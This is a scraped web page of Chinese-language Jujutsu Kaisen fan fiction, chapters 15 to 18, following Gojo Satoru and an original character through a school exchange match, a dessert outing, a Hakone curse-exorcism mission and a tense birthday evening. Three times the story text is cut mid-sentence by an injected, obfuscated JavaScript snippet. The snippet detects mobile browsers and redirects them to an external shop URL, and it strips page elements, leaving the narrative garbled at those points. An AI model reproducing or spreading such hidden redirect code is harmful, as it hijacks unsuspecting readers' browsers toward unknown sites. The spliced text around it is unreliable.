一间五条悟租下后几乎不会来住的公寓,原本就没有留下多少男人的咒力气息。卿鸟往中间的位置挪动一下,想起那个久别重逢的拥抱。 五条悟的肩,宽阔的胸膛,有力的双臂,比十年前的白毛少年多了几分安全感,也比四年前的他多了一些道不明的“稳重”。二十三岁的五条悟身上尚能看到一丝十八岁的影子,现在的五条老师完全是另一种感觉。 让卿鸟想靠近,又怀疑自己能不能够。 喜欢这样的情绪,总会在无人看见的时间与地点,肆意疯长,不受控制。 以感情为链接站在他人身边的关系,对于卿鸟而言不具备安全感,更何况,五条悟不是那种会受感情羁绊的类型。就像面对叛逃的夏油杰,他会放他走,因为挚友的情谊,但不会强留谁在身边。 「很难想象五条悟那个家伙会喜欢谁诶。」 「他完全不会拥有普通人才会有的自私情感吧。」 她要向前走,强大到足以站在那个男人的身侧。以同伴、以战友之名,将不可能的爱意藏在心底。 深夜的京都。 挂了电话的五条悟独自一人坐在沙发上发呆,这是他放松大脑的一种方式。连续不断的任务与路途奔波,最强也是会感受到疲累的,即便他从不表露。 五条悟托腮凝视边几上的矿泉水,城市的灯光透过窗户落到水瓶上,折射出扭曲微弱的彩光。 酒店的隔音效果奇好,四下里死寂一片。应该说,因为在电话里被那只叽叽喳喳的鸟吵了一会儿,所以显得此刻更为安静。他早就习惯了这种孤独感,对于心智尚未成熟的孩子而言,这种孤独感是会吞没一些理智的。 深刻理解这种感觉的五条悟,将那些孩子聚在一起,减少这种落寞。 虽然真希还是日常摆着臭脸,但比在禅院家的时候自由、开心、也找到并认可自我存在的价值,虽然忧太还深陷诅咒中,但笑容也比刚见面的时候多了,甚至因为对同伴多了份责任与信赖,更加激励自己勇敢向前。 但五条悟始终,无法融入进去。 “最强”二字将他划出这个世界,成为一种异类。顺其自然的五条悟从不试图强硬将谁留在自己的世界里,又或是强迫他人理解他。 这是他不为人知的温柔,求同存异的开阔。 男人两条手臂随意搭在沙发扶手上,抬首看向灯光柔和的天花板。 “……啊,忘了问那家伙为什么要和杰去吃串串了。” …… 才不是嘞。他并不想知道卿鸟明天什么时候到,最近在东京做了什么,为什么要和夏油杰去吃串串。 刚才那通电话存在唯一的意义,是他希望那只鸟能立刻、马上出现在眼前。只听声音是不够的,他需要看到她眉飞色舞的神情,浮夸的动作。 五条悟的顺其自然与接受一切,唯独在关于卿鸟的问题上,间歇性失控。 不知所起的极致思念,在第二日傍晚时分化作师生情谊的桥梁,让那个眼缠绷带的最强男人,狠狠在卿鸟的脑门上留下一记脑瓜崩儿。 卿鸟:“……”捂住剧痛的脑门。 她那天晚上就该想象五条悟在东京裸/奔!夜跑什么的,实在太便宜这个男人了! --- 翌日。 校交流会开始前,五条悟站在队伍的最左边,卿鸟站在队伍的最右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13189038|131964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,额头上还留着红肿的痕迹。乐岩寺校长站在正前方,不满的眼神来回在卿鸟和乙骨忧太身上扫视。 消失四年又出现的女人违反常理,太过可疑;莫名被“诅咒”,但又没有被特级咒灵碾碎,反而是保护起来的少年也可疑。 这两个可疑的家伙此刻都站在五条悟的阵营里,这足以令总监会的人抓耳挠腮,难受至极。 “忧太。”卿鸟倾斜身体,戳了戳身侧的少年。 “诶?”认真等待交流会规则发布的乙骨忧太回头看向卿鸟。五条老师不在东京的这两周,他几乎要被卿鸟玩出条件反射。 “比起我,现阶段这个白胡子老头好像更讨厌你哎。你看你看,那个小眼神又扫过来了。” 乙骨忧太:“……”那个……是京都校的校长哎!怎么能叫白胡子老头呢! 乐岩寺的目光最终落到五条悟身上。后者看似偏头看着远方,但很明显绷带后的眼睛正以极其不雅观的角度斜视并挑衅他。 “……” 庵歌姬带着京都校的学生走至东京校学生的另一侧,卿鸟本想抬手和歌姬打招呼,但转念一想现在立场不对,白胡子老头的目光也不友善,贸然打招呼反而会让歌姬尴尬。两人隔空对视一眼,稀松平常,谁也没有额外的动作与神情。 “本次交流会的形式为学生间直接对战,咒具不设限制,没有一对一强行要求,可单独战斗可团战。最后胜利组获得30分,对战期间监察们会根据各位的体术、术式、战斗意识等各方面进行打分,总分最高的学校获得最终胜利。” 哨声响起。 交流会于布置后的操场上正式拉开序幕。 京都校二年级生加茂宪纪,御三家加茂家的下任家主,于远处拉开弓箭发起攻势。 乙骨忧太小心翼翼看了一眼观众席上的卿鸟,后者给了他一个加油干倒对方的眼神。 少年“唯唯诺诺”、“战战兢兢”、“犹豫不决”地召唤出祈本里香。 巨型特级咒灵瞬间出现在众人视野里,震惊四方。完全打乱京都校编排好的进攻阵型。 “哟~里香酱~”看台席上,一只蹦跶的鸟忽然出声助威。“对面那些家伙都是我们的朋友哦!是朋友!” …… 祈本里香转头看了一眼卿鸟,霎时又将目光完全转向京都校的学生们。“是……朋友——” 特级咒灵开口说话。不怒自威。 “是——朋友——” “朋友就是——一拍即合!” 里香自带特效的声音环绕操场,就在她说完一拍即合四个字后,京都校的全体参赛学生都被她合十的双手夹在了掌心之中,动弹不得。 K.O. 光速解决战斗。 祈本里香丢掉掌心被拍晕的学生们,扭头看向东京校的学生。 “……” “啊咧,我们……不是朋友的说。”panda后退一步。 “他们是同学,里香。” “……同学——”里香的杀气退了一些。“同学——要互相帮助。” 观众席上鸦雀无声。 自此大家都对“朋友”有了新的见解。 16.第十六章 乐岩寺及其他一众老师与监察偏头看向在观众席上宛如教练一般“引导”特级咒灵的卿鸟。 “……” 场外指导虽然可以勉强判个违规,但比赛重开,乙骨忧太再度放出祈本里香,京都校还是会输,并且会给那些孩子们造成二次心理阴影。 他们不但输了,光速落败,还输得相当难看。 不是。这个卿鸟……怎么就那么可恨啊喂! 倏尔,一只大手抬起,挡住了他们看向卿鸟的仇恨目光。 “哟,收拾收拾,准备京都一日游吧米娜桑~”五条悟偏头看向乐岩寺,“感谢京都校的差劲教育,给大家留下那——么多自由时间~” 躺枪的京都校长以及老师:“……”呵,破案了,这个卿鸟如此可恨,因为师出五条悟。 京都对真希而言没有任何美好记忆,她也不想留在学校面对十分不友善的真依,于是向五条悟提出自己要先回东京。 “十几岁正是颠覆童年的绝佳时间!”向来随性的五条悟这一次拒绝了真希独自行动的申请。“哟西!决定了,真希今天的任务,名为让同伴说出喜欢京都的三个理由大作战!” 马尾辫少女原地石化:“哈?!” 这个老师总是有办法让人从一个情绪深渊跌进另一个情绪黑洞。 “对京都更了解的人是你吧,悟。”真希最后挣扎。 “啊啦,老师可是很忙的。”五条悟挥挥手。“游玩是小孩子的事情。” 熊猫侧头,单手遮住嘴对身边的狗卷棘道:“上次吃饭点了儿童套餐的人居然说别人是小孩子诶。” 狗卷棘:“鲑鱼。” 一只鸟从低气压的真希身后探出脑袋,十分闪亮。“儿童套餐?” “随餐赠送的玩具是限量版的诶。”五条悟并不认为自己的行为有哪里不妥。 “所以悟点了六份,就为了集齐了玩具。” 五条悟单手比枪放在下巴处,十分有节奏地点点头,自豪无比。 卿鸟沉默片刻,忽然想到什么,单手握拳击掌:“啊!就是电视柜上那套违和的丑娃娃是不是?” 自豪无比的五条悟嘴角一抽。 “啊……终于有人敢说出来了。”panda望天。 “……鲑鱼。”狗卷棘斜眼看绿化带。 “……”乙骨忧太挠了挠头。 真希:“这种事我当天就说了吧。” 五条老师面带微笑,将诚实且可爱的学生们丢出了京都校区……顺便用「苍」把企图趁乱溜走的卿鸟拽了回来。 “小鸟就留在老师身边,一件一件好好解释这半个月来的‘诉状’吧。” 男人言毕,提拎起卿鸟的后衣领,带着她大踏步离开原地。 挥挥手臂蹬蹬腿,挣扎无果的卿鸟叹出一口白气:“……”那还真是要解释到天黑了。 吵吵闹闹的家伙全部离开,画面仅剩夜蛾正道一人与姐妹校的一干老师学生大眼瞪小眼。空气都诡异的宁静下来。 “……” 神一般的姐妹校交流会,居然留校长一个人和对方进行字面意义的交流。 --- “两份可丽饼,一份草莓一份抹茶。” 五条悟伸手比了一个二,看在服务员眼里像是比了一个yeah在卖萌。平日里只能在电视荧幕,广告海报里才能见到的帅哥忽然生动地出现在视野里,点单的时候还有意无意拖长尾音,像极了撒娇…… 服务生飞速眨了眨眼,眼睑染了一层粉红。 于是五条悟拿到手里的那两份可丽饼……不论是水果还是奶油的量,都比别人手里的多。 卿鸟坐在店外的鸭鸭椅上围观了五条悟“勾引”服务员全过程,直到她的恩师拿着战利品在她身侧坐下。 “这家店以前只卖两个款式草莓蛋糕。现在什么都有,反而没了草莓蛋糕。” “甜品更新迭代快嘛。”卿鸟咬了一口抹茶味的可丽饼,后知后觉捕捉到五条悟话语里的关键词。“以前?” 五条悟十六岁独自跑去东京上高专,那他口中的“以前”至少已经是十二年前的事了。 “大概八岁的时候。” …… 很好,她的前辈想带她来吃自己八岁时候吃的小蛋糕。因为没吃到还有撒娇抱怨的痕迹。 “那么,小鸟为什么会和杰去吃串串?” “嗯?”料足的可丽饼固然好吃,但很难吃得优雅得体,卿鸟唇边沾了奶油抬起头。“哦……因为我频繁‘骚扰’盘星教的人,所以教主大人决定请我吃饭!” 五条悟:“……”就算你是鸟,也不能说出这样丧心病狂的话。 “虽然不知道为什么你要招惹那群家伙,不过……”五条悟抽出一张纸巾,伸手擦掉卿鸟唇角的奶油和抹茶粉。“以后还是不要和他们接触了。” 五条悟说了什么话卿鸟一时间没有听清,她的注意力都在男人忽然靠近她的那只手上。 一种微妙的感觉,像温润温热的水轻轻缓缓包裹住她的心。忘了是多久以前的她了,曾经羡慕过隔壁桌的父亲笑着、温柔地擦去小女孩脸上沾到的食物。而她世界里的那只大手,只会以另一种姿态落到她身上。 “怎么了?”五条悟歪头。 “……我可以自己擦! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212483|131964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”卿鸟压下那些忽然冒出来的记忆与思绪,自己抽了一张纸巾握在手里。 五条悟没有回话。 他当然知道她可以自己擦。但她动作太慢了。 唇角的奶油晃得他心烦。 两人同时沉默了半晌。卿鸟一团乱的大脑回过神来。 “不和盘星教接触,是因为总监会那头会施压吗?” “他们施压与否关系不大。”五条悟握着小银勺在草莓上轻敲两下。“嘛,都没关系。你想玩就玩吧。不过,如果你敢加入他们——” 五条悟欲言又止,所有可言不可言的恐吓和威胁都隐匿在空气中。 但卿鸟能明白。 “谁会加入那种传销组织啊。” 倘若真要和盘星教扯上关系,她会选择踹掉夏油杰关小黑屋,然后自己成为教主,改名「鸟门」! 五条悟不会读心术,只知道自己再回头,就见叛逆的后辈两眼放光,一脸希冀地看向远方。 白毛教师:“……”一般小鸟露出这样的神情,就表示有人要倒霉了。 “后天是小鸟生日,有什么生日愿望吗?” 卿鸟霎时收回幻想的金色泡泡,她咬着银勺看向五条悟。这个问题,四年前的五条悟也问过,她甚至还记得自己当时的回答——有的老师,我想打你一顿。 五条悟约莫是从卿鸟的眼神里读懂了什么。 忽然就有点后悔问出那个问题。 “生日愿望啊……”卿鸟轻抚下巴,苦思冥想三秒。“希望老师能和里香做朋友!” …… 果然。 --- 四月一日,卿鸟生日当天,“寿星”因为任务去了箱根,五条悟接了任务飞往北海道。 两人在伊地知的车里吵闹不停似乎已经是一种日常。伊地知觉得,如果哪天他的车技出神入化、登峰造极……那一定都是五条先生和卿鸟小姐的功劳。 感谢他们给了自己如此恶劣的驾驶环境! 按照路线规划,卿鸟先在东京站下车。关上车门的前一秒,五条悟下意识想伸手握她的手腕。 可惜卿鸟的动作更快,车门无情地被关上。 长尾拓真一早就在车站等着和卿鸟汇合——本该是他驱车去接卿鸟,因为伊地知说顺路,于是他先来了车站。 四月里的天早晚温差大,细心的男人递给卿鸟一罐尚温的咖啡。然后慢慢说起自己已经整理完的任务的细节和疑点。 五条悟自后视镜看向后方,见到那只鸟笑着接过咖啡,然后和男人一同没入车站大厅。 上一秒还算愉悦的表情,忽然就沉下来。 17.第十七章 汽车往机场的方向匀速行驶。沉默须臾的五条悟忽然开口。 “跨区域任务,辅助监督不需要跟随的吧。” 就像现在,伊地知送他到机场就会返回,北海道处会有当地监督对接——主要负责布帐或联系疏散人群。而冥冥的任务习惯,她甚至都不要辅助监督陪同。 “是。”伊地知惯性回答,但没有理解五条悟问话的深层含义。 上一次那个叫长尾的家伙也是跟着卿鸟去了京都,又辗转去了偏僻的荒村。任务期间形影不离。 第一次见面五条悟就确认过,长尾拓真没有术式,咒力也平平。总监会派他跟着小鸟,可以基本排除让他“铲除”小鸟的可能性。 再来是智斗。初次见面他与卿鸟一唱一和的恐吓,长尾拓真的害怕也不像是装的。如果说五条悟不注重他人细节,对人类情绪与表情特别敏感的卿鸟,长尾肯定是骗不过的。 长尾对卿鸟并没有什么额外的任务与隐瞒。 …… 那么,总监会安排长尾每一次任务都要陪同卿鸟的理由只有—— “嗯?为什么让长尾君一直跟着我?”新干线上,卿鸟毫不避讳地在长尾拓真身侧接起电话,并用足以让他听到的分贝和五条悟对谈。 被提名的长尾脑袋上冒出雷达,小心翼翼看向卿鸟——他还记得初次见面五条悟就要埋了他的话语。 “那当然是……”卿鸟拿着手机看向长尾,莞尔一笑道:“借刀杀人啦。” 五条悟坐在候机室内,意外和卿鸟不谋而合。 长尾小幅度摆摆手,满脸写着:我哪里杀得了卿鸟小姐这样的信息。不料下一秒就听眼前的女人用平静地语气继续说: “嗯,借我这把刀杀长尾君,或者说是长尾氏。” …… 早晨的阳光正好,新干线穿过一片稻田,新绿披上一层金纱,温和又生气勃勃。 是万物生长的季节了。 长尾拓真吞咽了一口唾沫,看着卿鸟许久没有出声。直到她摁掉电话,平静且认真地与他对视。 长尾氏虽是总监会老派家族一员,但近几代没有厉害的咒术师坐镇,且屡次与总监会金字塔尖的那几个家伙意见不和,已经被边缘化很久了。 这是五条悟拖人打听来的消息,可信度100%。 但长尾氏在咒术高层的底蕴还在,要彻底除去他们需要合适的理由。 “他们在等我出状况,然后把帽子扣给你。” 五条悟会为了曾经的学生和总监会对峙,但不会在意一个本就是咒术高层家世出生的辅助监督。 更有甚,他甚至会认为长尾拓真本就是总监会用来“陷害”卿鸟的存在。 一石二鸟的做法,长尾拓真哪头都无从辩解。 长尾还在消化这个信息。他被派遣为卿鸟的专属监督时,父亲也猜测过各种理由。他们以为总监会意在制造长尾氏与五条悟的矛盾,所以让长尾尤其小心对待卿鸟。 现在想来好像怎么样都行,什么角度都能说通。只要出现问题,出现突发事件,长尾拓真就是众矢之的。连带整个长尾氏。 卿鸟郑重地拍了拍长尾的肩道:“所以我和你一起出任务都特别听话特别规矩,以免让那群老家伙得逞。” 长尾意味深长地看了卿鸟一眼——你那些遛咒灵、吓监察的行为居然已经是在努力听话了吗? “但是那群老家伙还是算错了一步。”卿鸟收回手,亮亮的大眼睛看着长尾:“你不只有得罪五条悟或是背锅这两种结局。” “顽固的老家伙喜欢内斗,我和五条老师喜欢交朋友。三十年河东三十年河西,明年的今天,总监会到底谁说了算也不一定。长尾氏只是暂居下风而已,跟对阵营总能卷土重来~” 长尾:“……诶多……卿鸟小姐的意思……” 瘦死的骆驼比马大,长尾氏再没落,总还是总监会成员之一。敌人的敌人就是朋友。 “我们差不多年纪,叫小鸟就好啦。” 长尾拓真轻吐一口气。自他懂事以来,一直都把家族的没落与自己的弱小挂钩,有些才能天生没有,后天再怎么努力也是徒劳。而他的父亲也与爷爷不同,始终无法苟同总监会固步自封的做派。 “卿……小鸟不怕我只是和总监会的人配合演戏吗?” “开始是有考虑这个可能,但我已经观察你一个多月了。现在你是清白的。” 长尾:“……”啊,这一个多月来的任务,这位少女都在打量自己吗?忽然丢一个咒灵让他照看一下的那种打量? “而且你很经吓,这点很好。”卿鸟比了一个拇指。 比起其他监察,长尾面对她的术式要淡定许多。有这样强大的心理素质,做什么都会成功的! 长尾弱小但不愚蠢,抛开术式不谈,他做事有条有理,逻辑思维优秀,细心也耐心。在非术式的世界里也算得上精英。 他知道卿鸟乃至五条悟要与他“交朋友”的意思。他们需要长尾氏必要时刻提供深入总监会内部的情报。 “总监会会怀疑我们联手。” “不会哦。他们自负,认为我和五条老师与他们一样绝对不会信任对方的人,才会走那么差一步棋。并沾沾自喜。” …… “那我们从现在起就是一根绳上的蚂蚱了哦。”卿鸟伸出小指。 飞机即将起飞。五条悟关机前收到卿鸟的信息,一个ok的手势。 “搞定了啊。”男人扬了扬眉。 也是,搞不定才奇怪。总监会已经把长尾氏逼到绝境,小鸟是他们最后的稻草。 --- 箱根作为旅游热门地之一,乍暖还寒的季节游客也是络绎不绝。 不同于前几次疑难杂症的任务,这一次不需要解密也不需要分析案件。 一个月前最热门的打卡温泉馆此刻被「窗」的工作人员围住,最外圈拉起重整装修的告示,里圈已经布了帐。 “三只咒灵,粗略估计实力都在一级。有受害人,生死与伤情不明,年龄4岁到12岁不等。” 卿鸟在来的路上已经听长尾说过情况了。这样的任务考虑到还需要救人,尤其是小孩,一般会派遣两名咒术师一同进入。 “小鸟。”长尾喊住即将入帐的卿鸟。 “安啦。” 然而留给他的只有一个潇洒的背影,直至微卷的发梢完全没入帐内。 偌大一座温泉会馆,空旷寂寥,三只咒灵分散在不同地方,气息若有似无。受困的非术师不知在哪里,卿鸟倒也不敢贸然聚怪。 只能费时费力一个一个打。 卿鸟抬腿向前走,骤然间感觉自己的脚踝被什么东西束缚住。她低头,撞见一双清澈懵懂的眼。 是一个看起来五六岁大的小男孩。 卿鸟:? 即便没有六眼,卿鸟也能察觉到这位小男孩的咒力高于普通人。 “能看见大怪兽?” 小男孩怯生生点点头。 “知道什么是术式吗?” 小男孩想了想,又摇摇头。他大概是被咒灵吓惨了,嘴唇泛白,不敢说话。因为周围布了帐,咒灵尚未祓除,咒术师体质的他出不去。几次碰壁后,变得更害怕了。 卿鸟蹲下身,放低了说话声:“你知道其他小朋友在哪里吗?” 小男孩点点头,大概指了一个方向。“那……里。” “我去救别的小朋友,你乖乖站在这里等。如果再有大怪兽出现,你就用上一次逃出来的办法,再逃一次,可以吗?” 卿鸟猜测,他之所以能逃离咒灵的掌控,多半与他尚不自知的术式有关。 “……好。” 约莫两小时后,帐缓缓升起。 一直担忧卿鸟能不能一个人应付三只咒灵并救出孩子们的长尾,见她怀里揣着一个最小的,手里牵着一个稍大一些的,身后跟着几个更大的孩子出现在视野里。 活脱脱一个孩子王的形象。 长尾:“……” 不幸中的万幸,孩子们基本没有受伤,至多是一些擦伤,这都要归功于那位觉醒了术式的小男孩,他在看见咒灵后即便很害怕,也没有只顾着自己逃,而是告诉身边同伴发生了什么,以及咒灵大概的位置。 监察与温泉会馆的老板对接后续事宜,卿鸟和长尾一起将孩子们带去家长等候的地方。 觉醒咒术的小男孩名叫阳斗,父母皆为非术师,他们有感觉到自己的儿子不太一样,像是能见到“脏东西”的那类体质。 阳斗一家是东京人,来箱根过个周末。于是卿鸟与他们一同坐上返程的新干线,顺便介绍了一下阳斗眼里的“脏东西”是什么。 她负责起头,长尾负责详细解释,到也算配合良好。 非术师听得一愣一愣的,但因为自家儿子拼命点头,于是也只能选择相信。 “要不要成为咒术师……等小阳斗长大些再说吧。不是拥有才能,就一定要背负责任的。”卿鸟弯腰拍拍小男孩的头顶。 有时候,人活得自私一些才更开心。 阳斗的术式,卿鸟初步判断,应该是在一段时间内使自己达到“隐身”状态,不是披上隐形斗篷的那种效果,而是他存在,但周围人和咒灵感受不到他的存在。 是一个极其适合自保,事不关己高高挂起的术式。也很适合偷袭背刺。 几人在东京站挥别,小阳斗踌躇犹豫了一下,趁卿鸟还是弯腰靠近他的姿势,踮脚凑头亲了亲她的唇。 “谢谢姐姐。” 这是阳斗家表达谢意的独特方式。 当然,这不重要,重要的是他喊她姐姐。不得不说,真是个好孩子啊! 时间尚早,长尾要回办公室归档资料写报告。卿鸟拒绝了他打车一起走的提议。 “你先走吧,我自己打车回去。” 直至所有事情告一段落,认识她的人都离开,无人注意的角落里,卿鸟这才皱着眉头蜷缩成一团。 外伤都能用反转术式治疗,内伤就只能憋着。 会馆内有两只没有被检测到的咒灵,帐内足足五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235163|131964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只一级咒灵。由于情报偏差,一时疏忽的卿鸟被两只不在情报内的一级咒灵偷袭,当汉堡肉夹击数次。 她感觉自己的五脏六腑都移位了。用冥学姐的话来概括,这任务真不划算! 见卿鸟轻松出帐的模样,还以为是一场轻松的战斗。结果温泉会馆的工作人员清扫后院时,被眼前的一片狼藉吓到。 --- 五条悟比往常更快解决手中的任务,北海道的「窗」对这位神子印象素来不错,或许是因为他的头发像极了北海道的雪。很有亲切感。 “诶?!五条先生现在立刻回东京吗?” “不在北海道多留一晚?广口已经定好了丰盛晚餐哦!” “不啦不啦。”五条悟摆手拒绝,而后两手插袋往建筑外走去。“还要赶回东京和里香做朋友呢。” 不懂什么叫和里香做朋友的一干人:…… 纳尼? 难道五条先生在东京有一个叫里香的女朋友?所以才那么归心似箭? 打了飞的从东京到北海道,又迅速从北海道返回。五条悟再踏上东京的土地,已是傍晚时分了。 沉默许久的手机,一开机就收到硝子的信息。 一间酒吧的名字,硝子放松时经常会去小酌一杯的地方。 和往常一样,硝子会给五条悟点一杯可乐。 “你要的资料。” “不愧是硝子诶,那么快就搞定了。”五条悟坐到硝子身边,他偏头看一眼左边的方向。不远处原本想要上前搭讪的男人瞬间退了回去。 “你要医院档案以外的资料我就搞不定了哦。” “那也不会找你收集嘛。” 五条悟猛吸一口冰可乐。 身侧一米距离处的少女:“……”咦?在酒吧喝可乐?还喝得那么幼稚? “最近心情不错。”硝子已经习惯了五条悟这样不合时宜的行为。“和小鸟还是那样吗?” “嗯?哪样?” “亦师亦友?” “哈?那只鸟压根没拿我当老师尊敬诶。”五条悟顺口抱怨,实际他并不在意这个。 “嗯……”硝子的指尖在吧台上轻敲两下。“其实根据你对熊猫狗卷他们的样子来看,你好像也并没有拿小鸟当学生看待。” “……” 五条悟对待学生向来都是让他们出去闯,跌倒了再爬起来,在失败与危机中突破。可对卿鸟从来不这样。 哪怕是四年前,他也拒绝任何“危机”靠近他的学生。所以四年前卿鸟的世界里,风雨都是五条悟给的,但咒术界真正的暗色都被挡在了男人的身后。 那时卿鸟的快乐,多半来自于对咒术界的无知。直到千叶县的惨案,一次当头棒喝,彻底颠覆她的认知。 五条悟一口喝完了剩下的半杯可乐。 “第一次教育经历失败了,所以改变策略嘛!” 硝子扬了扬眉。不再多说,她对别人的事情素来不会过问太多。 “小鸟一直当叛逆的后辈就可以了。”他可以最大限度为她撑腰,包容她。或者用夜蛾的话来说,是纵容。 以曾经的老师,以前辈的身份,维持这样的形态,就可以了。 --- 卿鸟回到公寓后到头就睡,再睁眼窗外已是明月星辰。 身体的疼痛感好了不少,精神上的疲乏也恢复的七七八八。 她起身想觅个食,碰巧在那一刻响起了门铃声。 卿鸟不用看猫眼也知道来人是谁。咒力气息和他本人一样张扬。 大门被拉开,好大一只白毛堵在门框处。 “酱酱~来自超级大帅哥五条悟的生日晚餐!” “……”卿鸟嘴角一抽。 等会儿,让她想想要怎么吐槽他。 “这什么反应?”五条悟捏起卿鸟单边脸颊看着她的死鱼眼,“和小惠学坏了啊你。” 五条悟还想继续“教育”他的学生,目光无意识落到她的唇上,一下捕捉到陌生的咒力残秽。 “……” 眼神掩在绷带后很好被隐藏起来,不然男人骤变的目光怕是连卿鸟都会被吓一跳。 总是能很好控制颜艺的男人,上一秒还在玩闹的神情忽然收敛。 “……怎么了?”卿鸟以为五条悟看出自己受了伤,于是想狡辩。“今天……” 五条悟抬起手,身体行为比思维更快,微凉的拇指抵上她温热的唇,不让她继续言语,然后用力蹭了一下。 完全陌生的咒力。 不属于长尾,也不属于任何他认识的人。 一下没能蹭干净,于是男人单手捧起卿鸟的脸,就着她唇瓣的轮廓,仔仔细细描摹了一遍。 …… 家入硝子还在吧台边享受她独自饮酒的时间。 “永远都做叛逆后辈啊……”她低声重复了一遍五条悟方才的话语。 就算是五条悟,也会有失策的时候吧。 尤其是在感情这种不讲道理没有逻辑,霸道又比酒精还冲昏头脑的事情上。 18.第十八章 平日里开口就能气死人的唇,在指腹间的触感是柔软的。陌生的咒力残秽已经被五条悟的气息覆盖,但他没有收回手。 她的嘴唇有点干。 卿鸟抬眸看着他,眼神里没有疑惑也没有狡黠,反而有那么点……心虚。 明明在平行世界执行任务神勇无比,回到这个世界总是会出点状况。又偏偏,她十分不希望自己在这个五条悟眼里是个“弱者”。 只能说,一个人在意什么、怕什么就越会发生状况。 没有正确理解卿鸟心虚缘由的五条悟,整个人的气压又低了几分。 无下限术式与不间断的任务导致五条悟一直处于用脑过度的状态,所以他日常不会胡思乱想与深度思考,那样疲累程度会翻倍。 但他此刻却不由自主开始想象一张陌生的脸与卿鸟凑近并接触的画面。 卿鸟感觉那只轻扶自己脸颊的手,手指逐渐收紧。 五条悟垂首靠近卿鸟,贴近她的脸,鼻尖擦过她的鼻尖。占有与薄怒如两股风交织着席卷男人的理智。 这样近的距离,卿鸟可以清楚感觉到五条悟散发的咒力气息。五条老师生气了?为什么? 卿鸟忘了小阳斗的感谢吻,以为自己身上留了咒灵的气息,于是在威压下垂眸小声嘀咕:“我没有吃咒灵。”她猜不出来原因,只能胡言乱语。 五条悟:“……”倏尔回神。 他松开桎梏住卿鸟脸颊的手,后退半步,两人重新恢复一贯的社交距离。 他们只是曾经的师生关系,这只鸟没有必要因为和别人做了什么亲密的行为而心虚。唯一让她不自在的可能性只有一个。 “所以是你差点被咒灵吃了?” 卿鸟:“……” 五条悟的注意力从卿鸟的唇上收回,六眼上上下下仔细将她打量了一遍——没什么大问题。 理智重新回归的五条悟弯腰捡起那份可怜的,五分钟前被自己随意丢在一旁的晚餐。一边听自己的学生描述今天的任务,一边在厨房里忙碌。 卿鸟显然隐瞒了战斗时不太好的过程。换作从前,她会骂咒灵狡猾,吐槽辅助监督工作失误。而现在却是一笔带过。 如果不是他不请自来,她压根就不会对他提起今天的任务。 五条悟坐到餐桌边,单手托腮看向卿鸟。纵容与偏袒的前提,她要让自己看得见,够得着。 飞太远,是会失控的。 成年男人面无表情,不言不语的审视自带一种压迫感。所以卿鸟收了声。 “小鸟在怕什么?” 卿鸟没有说话。她害怕的,担忧的,不甘的思绪太多。 并且她不是一个会袒露内心的人。性格使然,也是成长经历造就,看似外向实则自我防御意识极强。 “……” 两人沉默对视了一会儿。紧张且不和谐的氛围不该是在他们二人之间出现的。 五条悟深觉自己的负面情绪几乎要影响他和卿鸟之间的相处,于是轻叹一口气,随便换了一个话题。 “小鸟唇上的咒力残秽哪里来的?” …… 脱口而出的问题直接暴露自己内心的介意。五条悟问完,手背上悄悄暴起一根青筋。不过他气的是自己。伟大的五条悟居然也有如此小心眼的时候。 “嗯?”卿鸟歪头。“啊……大概是小阳斗的吧。” “小阳斗?” “就是我刚才说的,术式是可以隐身的那个小男孩。”卿鸟比了一个约莫一米高的手势。 五条悟嘴角一抽:“……” “啊……是小阳斗啊……” 卿鸟狐疑地眨了眨眼。 这个男人一晚上的不对劲,莫非是因为自己嘴上那点微不足道的,属于阳斗气息? 卿鸟:? “老师你被术式袭击了吗?还是在北海道把脑袋冻坏了?” 五条悟:? 下一次东京积雪,他要把这只鸟的脑袋埋进雪地里。 吃了晚饭,时钟刚敲过八点,时间尚早。五条悟习惯性从口袋里摸出手机,翻看有哪些待处理的任务。 卿鸟看着身前的最强社畜,陷入短暂的无语中。别的不说,她的老师真的深谙“能者多劳”这个道理。 “老师要走了吗?”卿鸟站在沙发靠背后方,单手托腮看着五条悟捣鼓手机。 “嗯,东京还有任务。” 五条悟抬头望向站在右后侧的卿鸟。上一次因为她中了术式所以推掉任务,但例外不会每天都有。 咒灵需要被祓除,恶意的诅咒需要被发现然后妥善解决。卿鸟点点头。 “我也去!” 五条悟以为自己听错了:“哈?” “瞻仰一下老师祓除咒灵时的英姿!” …… “哟西!就让老师久违地教导一下你吧!” 可怜的,已经钻被窝准备休息的伊地知被不知为何亢奋起来的师徒二人一通电话惊得精神抖擞。 --- 五条悟的任务与一般咒术师不太相同。有些堆积案例是需要大量调查追踪,分析与推论才能找到源头的存在,有些则是咒灵极度危险,至少已经有一至两名咒术师受伤或死亡。 